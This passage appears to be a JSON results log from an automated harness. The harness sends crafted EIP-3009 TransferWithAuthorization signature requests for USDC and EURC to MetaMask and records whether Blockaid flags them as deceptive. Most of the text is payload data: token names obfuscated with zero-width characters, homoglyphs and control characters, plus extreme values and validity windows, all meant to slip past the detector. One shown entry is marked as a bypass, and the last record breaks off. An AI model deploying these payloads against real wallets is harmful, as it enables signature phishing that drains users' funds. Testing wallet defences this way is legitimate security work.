"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\r Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN4-COMBO-5", "timestamp": "2026-01-31T23:32:55.251Z", "technique": "EIP3009-combo-USDC-escape-leading_zeros_many-far_future-zero-checksum-v4", "category": "eip3009", "description": "USDC + escape + leading_zeros_many + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\u001b Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"000000000000000000000000000000000000000000000001000000000000\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN4-COMBO-6", "timestamp": "2026-01-31T23:33:02.415Z", "technique": "EIP3009-combo-EURC-standard-hex_mixed_case-year_2100-zero-checksum-v3", "category": "eip3009", "description": "EURC + standard + hex_mixed_case + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFf\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN4-COMBO-7", "timestamp": "2026-01-31T23:33:09.338Z", "technique": "EIP3009-combo-EURC-zwsp-dust_1-standard-all_a-checksum-signTypedData", "category": "eip3009", "description": "EURC + zwsp + dust_1 + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR​C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN4-COMBO-8", "timestamp": "2026-01-31T23:33:15.874Z", "technique": "EIP3009-combo-EURC-cyrillic_a-hex_short-year_2100-mixed_case_hex-lowercase-v4", "category": "eip3009", "description": "EURC + cyrillic_a + hex_short + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0x1\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0xBa001b9aE5Cd688046Cf471131F9D6BaD4098d5eF8396f8b8427E49d7f94E832\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN4-COMBO-9", "timestamp": "2026-01-31T23:33:22.820Z", "technique": "EIP3009-combo-EURC-carriage_return-hex_mixed_case-leading_zeros_ts-all_a-checksum-v3", "category": "eip3009", "description": "EURC + carriage_return + hex_mixed_case + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\rC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFf\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN4-COMBO-10", "timestamp": "2026-01-31T23:33:29.761Z", "technique": "EIP3009-combo-EURC-softhyphen-hex_short-standard-mixed_case_hex-lowercase-v3", "category": "eip3009", "description": "EURC + softhyphen + hex_short + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR­C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0x1\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x31447b5bA283343207Ec7dA2977bBc2f23A3A57c1d5b90632115F56fF17b2804\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN4-COMBO-11", "timestamp": "2026-01-31T23:33:39.227Z", "technique": "EIP3009-combo-USDC-long_1024-padded_64-leading_zeros_ts-sequential-checksum-v3", "category": "eip3009", "description": "USDC + long_1024 + padded_64 + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coinxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c16667ea1\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN4-COMBO-12", "timestamp": "2026-01-31T23:33:46.163Z", "technique": "EIP3009-combo-EURC-invisible_separator-padded_64-standard-all_ones-mixed_case-v3", "category": "eip3009", "description": "EURC + invisible_separator + padded_64 + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR⁣C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN4-COMBO-13", "timestamp": "2026-01-31T23:33:52.698Z", "technique": "EIP3009-combo-USDC-long_256-half_max-past_2020-all_a-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + long_256 + half_max + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"57896044618658097711785492504343953926634992332820282019728792003956564819967\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN4-COMBO-14", "timestamp": "2026-01-31T23:33:59.226Z", "technique": "EIP3009-combo-USDC-zwnj-numeric_max_safe-leading_zeros_ts-all_ones-lowercase-v4", "category": "eip3009", "description": "USDC + zwnj + numeric_max_safe + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"US‌D Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":9007199254740991,\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN5-COMBO-0", "timestamp": "2026-01-31T23:34:06.182Z", "technique": "EIP3009-combo-USDC-bom-numeric_max_safe-just_now-half_and_half-mixed_case-v4", "category": "eip3009", "description": "USDC + bom + numeric_max_safe + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":9007199254740991,\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN5-COMBO-1", "timestamp": "2026-01-31T23:34:12.719Z", "technique": "EIP3009-combo-USDC-softhyphen-hex_short-standard-sequential-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + softhyphen + hex_short + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD­ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0x1\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c16681665\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN5-COMBO-2", "timestamp": "2026-01-31T23:34:19.249Z", "technique": "EIP3009-combo-EURC-cyrillic_a-numeric_max_safe-numeric_ts-zero-lowercase-v3", "category": "eip3009", "description": "EURC + cyrillic_a + numeric_max_safe + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":9007199254740991,\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN5-COMBO-3", "timestamp": "2026-01-31T23:34:26.164Z", "technique": "EIP3009-combo-EURC-leading_space-hex_1m-narrow_1hr-random-checksum-v4", "category": "eip3009", "description": "EURC + leading_space + hex_1m + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\" EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xe8d4a51000\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0xddcd2984654865761a64daa43c29613a12cc5b48209a03ccadbfda00628aaa72\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN5-COMBO-4", "timestamp": "2026-01-31T23:34:33.153Z", "technique": "EIP3009-combo-USDC-word_joiner-max_uint_minus_1-past_2020-all_ones-checksum-v4", "category": "eip3009", "description": "USDC + word_joiner + max_uint_minus_1 + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD⁠ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639934\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN5-COMBO-5", "timestamp": "2026-01-31T23:34:42.625Z", "technique": "EIP3009-combo-EURC-cyrillic_o-zero-narrow_1hr-random-lowercase-v4", "category": "eip3009", "description": "EURC + cyrillic_o + zero + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0x377d0121f8437c68fc308372d781ce393a230435db6aaff4dbfa3cacf8c691ab\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true, "error": "undefined: 